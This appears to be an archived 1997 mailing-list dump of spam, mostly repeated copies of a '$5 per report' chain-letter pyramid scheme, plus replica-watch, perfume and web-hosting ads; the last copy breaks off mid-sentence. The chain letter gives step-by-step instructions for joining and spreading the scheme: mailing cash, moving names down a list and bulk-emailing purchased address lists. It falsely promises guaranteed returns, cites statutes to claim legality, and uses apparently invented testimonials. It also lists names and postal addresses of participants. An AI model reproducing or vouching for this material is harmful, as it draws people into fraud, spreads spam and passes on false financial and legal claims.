 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                           This is a LEGAL, MONEY-MAKING PHENOMENON.
          PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you
may
ever see.  Many times over, it has demonstrated and proven its ability
to
generate large amounts of cash.  This program is showing fantastic
appeal
with a huge and ever-growing on-line population desirous of additional
income.

 This is a legitimate, LEGAL, money-making opportunity.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house, except to get the mail and go to the
bank!  

 This truly is the lucky break you've been waiting for!  Simply follow
the
easy instructions in this letter, and your financial dreams will come
true!
When followed correctly, this multi-level marketing program works
perfectly..100% EVERY TIME!

 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc.

 This is your chance, don't pass it up!















------------------------------------------------------------------------------
----
                         OVERVIEW OF THIS EXTRAORDINARY 
               ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

----------------------------------------------------------------
------------------

 This is what you will do to reach financial freedom:

 You will send thousands of people a product for $5.00 that costs next
to
nothing to produce and e-mail. As with all multi-level businesses, you
will
increase your business buliding your downline and selling the products
(reports).  Every state in the U.S. allows you to recruit new multi-
level
business online (via your computer).

 The products in this program are a series of four business and
financial
reports costing $5.00 each.  Each order you receive via "snail mail"
will
include:

   * $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they
ordered.

 To fill each order, you simply e-mail the product to the buyer.  THAT'S
IT!
 The $5.00 is yours!  This is the EASIEST multi-level marketing business
anywhere! 

                            FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!

                                    ******* I  N  S  T  R  U  C  T  I 
O  N
 S *******

 This is what you MUST do:
 1. Order all 4 reports shown on the list below.

      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS (in case of a problem) to the person
whose 
         name appears on the list next to the report.

      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save
them
         on your computer and resell them.

      *  Usually within 10 days you will receive, via e-mail, the four
reports. 
          Save them on your computer so they will be accessible for you
to
send 
          to the 1,000's of people who will order them from you.

 2.  IMPORTANT-- DO NOT alter the names of the people who are listed
next 
      to each report, or their sequence on the list, in any way other
than is
      instructed below in steps "a" through "f" or you will lose out on
the
      majority of your profits.  Once you  understand the way this
works,
you'll 
      also see how it doesn't work if you change it.  Remember, this
method 
      has been tested, and if you alter it, it will not work.

     a.  Look below for the listing of available reports.

     b.  After you've ordered the four reports, take this  advertisement
and 
          remove the name and address under REPORT #4. This person has 
          made it through the cycle and is no doubt counting their 50
grand!

     c.  Move the name and address under REPORT #3 down to  REPORT #4.  

     d.  Move the name and address under REPORT #2 down to REPORT #3.

     e.  Move the name and address under REPORT #1 down to REPORT #2.

     f.  Insert your name/address in the REPORT #1 position.

 Please make sure you copy everyone's name and address ACCURATELY!!!

 3.  Take this entire letter, including the modified list of names, and
save 
      it to your computer.  Make NO changes to the instruction portion
of
this 
      letter.

 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you.

 5.  For every $5.00 you receive, all you must do is e-mail them the
report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they
can't
      advertise until they receive the report!

 ------------------------------------------
 AVAILABLE REPORTS
 ------------------------------------------
 ***Order Each REPORT by NUMBER and NAME***
 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
 -  Make sure the cash is concealed by wrapping it in at least two
sheets of
paper  
 -  On one of those sheets of paper, include: (a) the number & name of
the
report you are ordering, (b) your e-mail address, and (c) your postal
address.   It is suggested that you rent a mailbox addressed to an
assumed
"company" name to avoid your name and home address being sent to
millions of
people. For an example, see the "company" names listed below.
 __________________________________________________________________
 REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

 ORDER REPORT #1 FROM:  
               A.C. Marketing
               P.O. Box # 1423
               Randolph, MA 02368
 __________________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

             A&C  Netware Sales
             P O Box 1541           
             Corona, CA 91718-1541
 _____________            
 __________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:

             CBF           
             3240 Lone Oak Road, Box 158        
             Paducah, KY 42003-0370
 ______________________________________________________________________
 REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:

              NDZ & Co.           
             P.O. Box 7277         
             Atlanta, GA  30357-0277
 ___________
          _________________________________________________________






------------------------------------------------------------------------------
--------------------
          HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

--------------------------------------------------------------------
------------------------------

 Let's say you decide to start small just to see how well it works.
Assume
your goal is to get 10 people to participate on your first level.
(Placing a
lot of FREE ads on the internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline
members.
 Follow this example to achieve the STAGGERING results below.

 1st level--your 10 members with
$5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS
       ----------->$55,550

 Remember friends, this assumes that the people who participate only
recruit
10 people each.  Think for a moment what would happen if they got 20
people
to participate!  Most people get 100's of participants! THINK ABOUT IT!

 Your cost to participate in this is practically nothing (surely you can
afford $20). You obviously already have an internet connection and
e-mail is
FREE!

  *******TIPS FOR SUCCESS*******

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.

  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:

     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S.
Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state 
     that "a product or service must be exchanged for money received."

  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

  *******YOUR SUCCESS GUIDELINE*******

 Follow these guidelines to guarantee your success:

 If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue advertising until you do.  Then, a couple of weeks later you
should
receive at least 100 orders for REPORT #2.  If you don't, continue
advertising until you do.  Once you have received 100 or more orders for
REPORT #2, YOU CAN RELAX, because the system is already working for you,
and
the cash will continue to roll in!

 THIS IS IMPORTANT TO REMEMBER:
 Every time your name is moved down on the list, you are placed in front
of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more
income,
send another batch of e-mails and start the whole process again!  There
is no
limit to the income you will generate from this business!

  *******T  E  S  T  I  M  O  N  I  A  L  S*******

      This program does work, but you must follow it EXACTLY! 
Especially the
rule of not trying to place your name in a different position, it won't
work
and you'll lose a lot of potential income.  I'm living proof that it
works.
 It really is a great opportunity to make relatively easy money, with
little
cost to you.  If you do choose to participate, follow the program
exactly,
and you'll be on your way to financial security. 
           Sean McLaughlin, Jackson, MS

      My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am
a
cost accountant with a major U.S. Corporation and I make pretty good
money.
When I received the program I grumbled to Doris about receiving "junk
mail."
I made fun of the whole thing, spouting my knowledge of the population
and
percentages involved.  I "knew" it wouldn't work. Doris totally ignored
my
supposed intelligence and jumped in with both feet. I made merciless fun
of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had
received
over 50 responses. Within 45 days she had received over $147,200 in $5
bills!
I was shocked!  I was sure that I had it all figured and that it
wouldn't
work.  I AM a believer now. I have joined Doris in her "hobby."   I did
have
seven more years until retirement, but I think of the "rat race" and
it's not
for me. We owe it all to MLM.
            Frank T., Bel-Air, MD

     The main reason for this letter is to convince you that this system
is
honest, lawful, extremely profitable, and is a way to get a large amount
of
money in a short time. I was approached several times before I checked
this
out. I joined just to see what one could expect in return for the
minimal
effort and money required.  To my astonishment, I received $36,470.00 in
the
first 14 weeks, with money still coming in.
            Sincerely yours, Phillip A. Brown, Esq.

     Not being the gambling type, it took me several weeks to make up my
mind
to participate in this plan. But conservative that I am, I decided that
the
initial investment was so little that there was just no way that I
wouldn't
get enough orders to at least get my money back. Boy, was I surprised
when I
found my medium-size post office box crammed with orders!  For awhile,
it got
so overloaded that I had to start picking up my mail at the window. I'll
make
more money this year than any 10 years of my life before. The nice thing
about this deal is that it doesn't matter where in the U.S. the people
live.
There simply isn't a better investment with a faster return.
          Mary Rockland, Lansing, MI

      This is my third time to participate in this plan. We have quit
our
jobs, and will soon buy a home on the beach and live off the interest on
our
money.  The only way on earth that this plan will work for you is if you
do
it. For your sake, and for your family's sake don't pass up this golden
opportunity.  Good luck and happy spending!
            Charles Fairchild, Spokane, WA

 ORDER YOUR REPORTS TODAY AND GET 
 STARTED ON YOUR ROAD TO 
 FINANCIAL FREEDOM!!!

---------------------
Forwarded message:
Subj:    Re: Are you getting loads of $5 orders in your mailbox
everyday?  I
am!!
Date:    97-10-22 22:51:12 EST
From:    AWan0585
To:      Altophil

In a message dated 97-10-22 11:19:50 EDT, you write:

<< 
  I Never Thought I'd Be the One Telling You This:
 I Actually Read a Piece of E-Mail & I'm Going to Europe on the
Proceeds!

 Hello!

 My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use
my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

 About two months ago I received it again and, because of the catchy
subject
line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm
going
to try this.  I can certainly afford to invest $20 and, on the other
hand,
there's nothing wrong with creating a little excess cash."  I promptly
mailed
four $5 bills and, after receiving the reports, paid a friend of mine a
small
fee to send out some e-mail advertisements for me.  After reading the
reports, I also learned how easy it is to bulk e-mail for free! 

 I was not prepared for the results.  Everyday for the last six weeks,
my
P.O. box has been overflowing with $5 bills; many days the excess fills
up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunne
d by all the money that keeps rolling in!

 My husband and I have been saving for several years to make a
substantial
downpayment on a house.  Now, not only are we purchasing a house with
40%
down, we're going to Venice, Italy to celebrate!

 I promise you, if you follow the directions in this e-mail and be
prepared
to eventually set aside about an hour each day to follow up (and count
your
money!), you will make at least as much money as we did.  You don't need
to
be a wiz at the computer, but I'll bet you already are.   If you can
open an
envelope, remove the money, and send an e-mail message, then you're on
your
way to the bank.  Take the time to read this so you'll understand how
easy it
is.  If I can do this, so can you!

 The following is a copy of the e-mail I read:

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
                           This is a LEGAL, MONEY-MAKING PHENOMENON.
          PRINT this letter, read the directions, THEN READ IT AGAIN !!!

 You are about to embark on the most profitable and unique program you
may
ever see.  Many times over, it has demonstrated and proven its ability
to
generate large amounts of cash.  This program is showing fantastic
appeal
with a huge and ever-growing on-line population desirous of additional
income.

 This is a legitimate, LEGAL, money-making opportunity.  It does not
require
you to come in contact with people, do any hard work, and best of all,
you
never have to leave the house, except to get the mail and go to the
bank!  

 This truly is the lucky break you've been waiting for!  Simply follow
the
easy instructions in this letter, and your financial dreams will come
true!
When followed correctly, this multi-level marketing program works
perfectly..100% EVERY TIME!

 Thousands of people have used this program to:
     -  Raise capital to start their own business
     -  Pay off debts
     -  Buy homes, cars, etc.

 This is your chance, don't pass it up!















------------------------------------------------------------------------------
----
                         OVERVIEW OF THIS EXTRAORDINARY 
               ELECTRONIC MULTI-LEVEL MARKETING PROGRAM

----------------------------------------------------------------
------------------

 This is what you will do to reach financial freedom:

 You will send thousands of people a product for $5.00 that costs next
to
nothing to produce and e-mail. As with all multi-level businesses, you
will
increase your business buliding your downline and selling the products
(reports).  Every state in the U.S. allows you to recruit new multi-
level
business online (via your computer).

 The products in this program are a series of four business and
financial
reports costing $5.00 each.  Each order you receive via "snail mail"
will
include:

   * $5.00 cash
   * The name and number of the report they are ordering
   * The e-mail address where you will e-mail them the report they
ordered.

 To fill each order, you simply e-mail the product to the buyer.  THAT'S
IT!
 The $5.00 is yours!  This is the EASIEST multi-level marketing business
anywhere! 

                            FOLLOW THE INSTRUCTIONS TO THE LETTER AND
 BE PREPARED TO REAP THE STAGGERING BENEFITS!

                                    ******* I  N  S  T  R  U  C  T  I 
O  N
 S *******

 This is what you MUST do:
 1. Order all 4 reports shown on the list below.

      *  For each report, send $5.00 CASH, the NAME & NUMBER OF THE 
         REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR
         RETURN POSTAL ADDRESS (in case of a problem) to the person
whose 
         name appears on the list next to the report.

      *  When you place your order, make sure you order each of the four
         reports.  You will need all four reports so that you can save
them
         on your computer and resell them.

      *  Usually within 10 days you will receive, via e-mail, the four
reports. 
          Save them on your computer so they will be accessible for you
to
send 
          to the 1,000's of people who will order them from you.

 2.  IMPORTANT-- DO NOT alter the names of the people who are listed
next 
      to each report, or their sequence on the list, in any way other
than is
      instructed below in steps "a" through "f" or you will lose out on
the
      majority of your profits.  Once you  understand the way this
works,
you'll 
      also see how it doesn't work if you change it.  Remember, this
method 
      has been tested, and if you alter it, it will not work.

     a.  Look below for the listing of available reports.

     b.  After you've ordered the four reports, take this  advertisement
and 
          remove the name and address under REPORT #4. This person has 
          made it through the cycle and is no doubt counting their 50
grand!

     c.  Move the name and address under REPORT #3 down to  REPORT #4.  

     d.  Move the name and address under REPORT #2 down to REPORT #3.

     e.  Move the name and address under REPORT #1 down to REPORT #2.

     f.  Insert your name/address in the REPORT #1 position.

 Please make sure you copy everyone's name and address ACCURATELY!!!

 3.  Take this entire letter, including the modified list of names, and
save 
      it to your computer.  Make NO changes to the instruction portion
of
this 
      letter.

 4.  Now you're ready to start an advertising campaign on the
      WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
      and there are HUNDREDS of FREE places to advertise. Another
      avenue which you could use for advertising is e-mail lists.  
      You can buy these lists for under $20/2,000 addresses or you
      can pay someone a minimal charge to take care of it for you.

 5.  For every $5.00 you receive, all you must do is e-mail them the
report
      they ordered.  THAT'S IT!  ALWAYS PROVIDE SAME-DAY SERVICE 
      ON ALL ORDERS!  This will guarantee that the e-mail THEY send out,
      with YOUR name and address on it, will be prompt because they
can't
      advertise until they receive the report!

 ------------------------------------------
 AVAILABLE REPORTS
 ------------------------------------------
 ***Order Each REPORT by NUMBER and NAME***
 Notes:
 -  ALWAYS SEND $5 CASH FOR EACH REPORT (checks not accepted)
 -  Make sure the cash is concealed by wrapping it in at least two
sheets of
paper  
 -  On one of those sheets of paper, include: (a) the number & name of
the
report you are ordering, (b) your e-mail address, and (c) your postal
address.   It is suggested that you rent a mailbox addressed to an
assumed
"company" name to avoid your name and home address being sent to
millions of
people. For an example, see the "company" names listed below.
 __________________________________________________________________
 REPORT #1 "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES" 

 ORDER REPORT #1 FROM:  
               A.C. Marketing
               P.O. Box # 1423
               Randolph, MA 02368
 __________________________________________________________________
 REPORT #2 "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

 ORDER REPORT #2 FROM:

             A&C  Netware Sales
             P O Box 1541           
             Corona, CA 91718-1541
 _____________            
 __________________________________________________________________
 REPORT #3 "SOURCES FOR THE BEST MAILING LISTS"

 ORDER REPORT #3 FROM:

             CBF           
             3240 Lone Oak Road, Box 150          
             Paducah, KY 42003-0370
 ______________________________________________________________________
 REPORT #4 "EVALUATING MULTI-LEVEL SALES PLANS"

 ORDER REPORT #4 FROM:

              NDZ & Co.           
             P.O. Box 7277         
             Atlanta, GA  30357-0277
 ___________
          _________________________________________________________






------------------------------------------------------------------------------
--------------------
          HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

--------------------------------------------------------------------
------------------------------

 Let's say you decide to start small just to see how well it works.
Assume
your goal is to get 10 people to participate on your first level.
(Placing a
lot of FREE ads on the internet will EASILY get a larger response.) Also
assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline
members.
 Follow this example to achieve the STAGGERING results below.

 1st level--your 10 members with
$5...........................................$50
 2nd level--10 members from those 10 ($5 x 100)..................$500
 3rd level--10 members from those 100 ($5 x 1,000)..........$5,000
 4th level--10 members from those 1,000 ($5 x 10,000)...$50,000
                                                   THIS TOTALS
       ----------->$55,550

 Remember friends, this assumes that the people who participate only
recruit
10 people each.  Think for a moment what would happen if they got 20
people
to participate!  Most people get 100's of participants! THINK ABOUT IT!

 Your cost to participate in this is practically nothing (surely you can
afford $20). You obviously already have an internet connection and
e-mail is
FREE!

  *******TIPS FOR SUCCESS*******

  *  TREAT THIS AS YOUR BUSINESS!  Be prompt, professional, and follow 
      the directions accurately.

  *  Send for the four reports IMMEDIATELY so you will have them when 
     the orders start coming in because:

     When you receive a $5 order, you MUST send out the requested
     product/report to comply with the U.S. Postal & Lottery Laws, Title
     18,Sections 1302 and 1341 or Title 18,  Section 3005 in the U.S.
Code,
     also Code of Federal Regs. vol. 16, Sections 255 and 436, which
state 
     that "a product or service must be exchanged for money received."

  *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

  *  Be patient and persistent with this program. If you follow the 
     instructions exactly, the results WILL undoubtedly be SUCCESSFUL!

  *  ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED!

  *******YOUR SUCCESS GUIDELINE*******

 Follow these guidelines to guarantee your success:

 If you don't receive 10 to 20 orders for REPORT #1 within two weeks,
continue advertising until you do.  Then, a couple of weeks later you
should
receive at least 100 orders for REPORT #2.  If you don't, continue
advertising until you do.  Once you have received 100 or more orders for
REPORT #2, YOU CAN RELAX, because the system is already working for you,
and
the cash will continue to roll in!

 THIS IS IMPORTANT TO REMEMBER:
 Every time your name is moved down on the list, you are placed in front
of a
DIFFERENT report.  You can KEEP TRACK of your PROGRESS by watching which
report people are ordering from you.  If you want to generate more
income,
send another batch of e-mails and start the whole process again!  There
is no
limit to the income you will generate from this business!

  *******T  E  S  T  I  M  O  N  I  A  L  S*******

      This program does work, but you must follow it EXACTLY! 
Especially the
rule of not trying to place your name in a different position, it won't
work
and you'll lose a lot of potential income.  I'm living proof that it
works.
 It really is a great opportunity to make relatively easy money, with
little
cost to you.  If you do choose to participate, follow the program
exactly,
and you'll be on your way to financial security. 
           Sean McLaughlin, Jackson, MS

      My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am
a
cost accountant with a major U.S. Corporation and I make pretty good
money.
When I received the program I grumbled to Doris about receiving "junk
mail."
I made fun of the whole thing, spouting my knowledge of the population
and
percentages involved.  I "knew" it wouldn't work. Doris totally ignored
my
supposed intelligence and jumped in with both feet. I made merciless fun
of
her, and was ready to lay the old "I told you so" on her when the thing
didn't work... well, the laugh was on me!  Within two weeks she had
received
over 50 responses. Within 45 days she had received over $147,200 in $5
bills!
I was shocked!  I was sure that I had it all figured and that it
wouldn't
work.  I AM a believer now!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sales@morbrandnames.com
Date: Mon, 3 Nov 1997 11:32:48 -0800 (PST)
To: sales@morbrandnames.com
Subject: FREE WATCH, ROLEX, NOVADO, GUCCI STYLES
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


FREE QUARTZ WATCH OFFER 
NO PURCHASE NECESSARY    !!!!!!!!!!

Free watch to any person who will visit our shopping mall
website. Free quartz watch with a leather band,White, black
or gold face. Valued at $30 retail in the  major department stores.
We offer over 500 assorted fashion watches like: 

ROLEX, GUCCI, CHANEL, MOVADO, styles and many more............
 
FREE PERFUME OFFER .......... SEE WEBSITE FOR DETAILS
Over 200 PERFUME  versions  1 OZ, 2 OZ, 3.3 OZ, 3.4 OZ 

For ladies: 
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GIORGIO, COOL WATER   and many more............

for men: 
POLO SPORT, GIORGIO RED, TOMMY HILFIGER,
DRAKKAR NOIR, MICHAEL JORDAN and many more...

<<< Come  shop with us for the Holidays and save >>>

TO VISIT OUR HOME PAGE GO TO  

http://www.morbrandnames.com

Have a Happy Holiday

*If for any reason you wish to be removed from our e mail list  
mailto:sales@morbrandnames.com 
and in your subject box type " remove".
We apologize for your inconvenience.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim@famailcrt.com
Date: Tue, 4 Nov 1997 19:52:11 -0800 (PST)
To: Friend@public.com
Subject: Web Site Hosting Starting at $15.00
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


///////////////////////////////////////////////////////////////////////////////

If you wish to be removed from this advertiser's future mailings, please reply

with the subject "Remove" and this software will automatically block you

from their future mailings

////////////////////////////////////////////////////////////////////////////////


Message Sent 11/04/97


We can Host your Web Site:

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Thank you for your time.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Money@cyber-pages.net
Date: Wed, 5 Nov 1997 05:42:54 -0800 (PST)
To: InternetUser@The.Net
Subject: #36,000 in 14 Weeks
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I
checked
 this out.  I joined just to see what one could expect in return for the
minimal
 effort and money required.  Initially I let no one in the organization
know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown



 "Please Read This Twice!" 

 Dear friend,

 =========================================================
 =========================================================
 I've always been skeptical of programs like this. But, after quadrupling
my initial investment in 1 week, I became a believer!
 If you have interest in this GREAT INFORMATION,  please do not click
reply, 
 use the contact information in this message.  Thank You! :-)
 =========================================================
 =========================================================

              *** Print This Now For Future Reference ***

 The following income opportunity is one you may be intersested in 
taking a 
 look at. It can be started with VERY LITTLE investment and the income
return
 is TREMENDOUS!!!  

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

 You are about to make at least $50,000 in less than 90 days!  
 Please read the enclosed program...THEN READ IT AGAIN!!!

 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


 This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the 
 program...  THEN READ IT AGAIN !!!

 You are looking at the most profitable and unique program you may ever
 see.  It has demonstrated and proven ability to generate large sums of
 money.  This program is showing fantastic appeal with a huge and ever
 growing population which needs additional income.

 This is a legitimate LEGAL money-making opportunity.  It does not
 require you to come in contact with people, do any hard work, and best
 of all, you never have to leave the house, except to get the mail.  If
you 
 believe that some day you will get that lucky break that you have been
 waiting for, THIS IS IT!  Simply follow the easy instructions, and your
 dream will come true!  This electronic multi-level marketing program
works
perfectly...100% EVERY TIME!

 Thousands of people have used this program to raise capital to start
their
 own business, pay off debts, buy homes, cars, etc., even retire! This is
 your chance, so don't pass it up.

 OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC 
 MULTI-LEVEL MARKETING PROGRAM

 Basically, this is what we do:  We sell thousands of people a product
for 
 $5.00 that costs us next to nothing to produce and e-mail.  As with all
 multi-level businesses, we build  our business by recruiting new
partners
 and selling our products.  Every state in the U.S. allows you to recruit
 new multi- level business online (with your computer).

 The product in this program is a series of four businesses and financial
 reports.  Each $5.00 order you receive by "snail mail" will include the
e-mail
 address of the sender.  To fill each order, you simply e-mail the
product to
 the buyer.  THAT'S IT!...the $5.00 is yours!  This is the GREATEST
 electronic multi-level marketing business anywhere!


 FOLLOW THE INSTRUCTIONS EXACTLY!
 Let's face it, the profits are worth it!  THEY'RE TREMENDOUS!!!
 So go for it.  Remember the 4 points and we'll see YOU at the top!


         ******* I  N  S  T  R  U  C  T  I  O  N  S *******

 This is what you MUST do:

 1.  Order all 4 reports listed and numbered from the list below.
     For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR
     RETURN POSTAL ADDRESS (in case of a problem) to each person listed.
     When you order, make sure you request each SPECIFIC report.  You
     will need all four reports, because you will be saving them on
     your computer and reselling them.

 2.  IMPORTANT--DO NOT alter the names, or their sequence other than
     instructed in this program! Or you will not profit the way you
     should.

     Replace the name and address under REPORT #1 with yours, moving
     the one that was there down to REPORT #2.  Move the name and
     address under REPORT #2 to REPORT #3.  Move the name and address
     under REPORT #3 to REPORT #4.  The name and address that was under
     REPORT #4 is dropped off the list and is NO DOUBT on the way to
     the bank.

     When doing this, please make certain you copy everyone's name and
     address ACCURATELY!!!  Also, DO NOT move the Report/Product
     positions!

 3.  Take this entire program text, including the corrected names list,
     and save it on your computer.

 4.  Now you're ready to start a massive advertising campaign on the
     WORLDWIDE WEB!  Advertising on the WEB is very, very inexpensive,
     but there are HUNDREDS of FREE places to advertise also.  Another
     avenue which you could use is e-mail mailing lists.  You can buy
     these lists for under $20/1,000 addresses.  START YOUR AD CAMPAIGN
     AS SOON AS YOU CAN.

 ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

 REQUIRED REPORTS

 ***Order each REPORT by NUMBER and NAME***

 ALWAYS SEND  $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE
SPECIFIC
REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR
PRIORITY MAIL AND
PROVIDE YOUR E-MAIL ADDRESS FOR QUICK DELIVERY.

   -------------------------------------------------
   REPORT #1
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

   ORDER REPORT #1 FROM:
   
     TSH        
     P.O. Box 11115
     MANASSAS PARK, VA 20113

   -------------------------------------------------
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

   ORDER REPORT #2 FROM:

     L Jones
     3320 48th St
     Des Moines, IA  50310

-------------------------------------------------
   REPORT #3
   "SOURCES FOR THE BEST MAILING LISTS"

   ORDER REPORT #3 FROM:

     G. D. Enterprises
     P.O. Box 197
     Charlestown, MD 21914


-------------------------------------------------
   REPORT #4
   "EVALUATING MULTI-LEVEL SALES PLANS"

        Chris Miller
        960 Laurel Springs Lane
        Marietta, GA 30064-3961
-------------------------------------------------


 HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

 Let's say you decide to start small just to see how it goes.  Assume
 your goal is to get 10 people to participate on your first level.
 (Placing a lot of FREE ads on the internet could EASILY get a better
 response.)  Also assume that everyone else in YOUR BUILDING ORGANIZATION
 gets ONLY 10 downline members.  Follow this example for the STAGGERING
 results below.

 1st level --  your 10 members with $5  ($5 x 10)                     
$50
 2nd level --10 members from those 10 ($5 x 100)                  $500
 3rd level -- 10 members from those 100 ($5 x 1,000)           $5,000
 4th level -- 10 members from those 1,000 ($5 x 10,000)     $50,000
                                 THIS TOTALS----------->       $55,550

 Remember friends, this is assuming that the people who participate
 only recruit 10 people each.  Dare to think for a moment what would
 happen if everyone got 20 people to participate!  Some people get
 100's of recruits!  THINK ABOUT IT!

 By the way, your cost to participate in this is practically nothing.
 You obviously already have an internet connection and email is FREE!!!
 REPORT#3 will show you the best methods for bulk emailing and purchasing
 email lists.

 REMEMBER:  Approx. 50,000 new people get online monthly!

 ORDER YOUR REPORTS NOW!!!



 *******TIPS FOR SUCCESS*******

 TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY,
 so you will have them when the orders start coming in because:
 When you receive a $5 order, you MUST send out the requested product/
 report to comply with the U.S. Postal & Lottery Laws, Title 18,
 Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code,
 also Code of Federal Regs. vol. 16, Sections 255 and 436, which
 state that "a product or service must be exchanged for money received."

 *  ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

 *  Be patient and persistent with this program.  If you follow the
    instructions exactly the results WILL undoubtedly be SUCCESS!

 *  ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


 *******YOUR SUCCESS GUIDELINE*******

         The check point that guarantees your success is simply this:
 You MUST receive 10 to 20 orders for REPORT #1!  THIS IS A MUST!  If
 you don't within two weeks, advertise more and send out more programs
 until you do.  Then, a couple of weeks later you should receive at
 least 100 orders for REPORT #2.  If you don't, advertise more and send
 out more programs until you do.  Once you have received 100, or more
 orders for REPORT #2, YOU CAN RELAX, because you will be on your way
 to the BANK!  -OR-  You can DOUBLE your efforts!

 REMEMBER:  Every time your name is moved down on the list you are in
 front of a DIFFERENT report, so you can KEEP TRACK of your PROGRESS
 by what report people are ordering from you. IT'S THAT EASY!!!

 NOTE:  IF YOU NEED HELP with starting a business, registering a business
 name, how income tax is handled, etc., contact your local office of the
Small Business Administration (a Federal agency) for free help and
answers to
 questions.  Also, the Internal Revenue Service offers free help via
telephone
 and free seminars about business taxes.



         ******* T  E  S  T  I  M  O  N  I  A  L  S *******

 This program does work, but you must follow it EXACTLY! Especially the
 rule of not trying to place your name in a different position, it won't
work,
 you'll lose a lot of money.  I'm living proof that it works.  It really
is a
great
 opportunity to make relatively easy money, with little cost to you.  If
you
 do choose to participate, follow the program exactly, and you'll be on
your
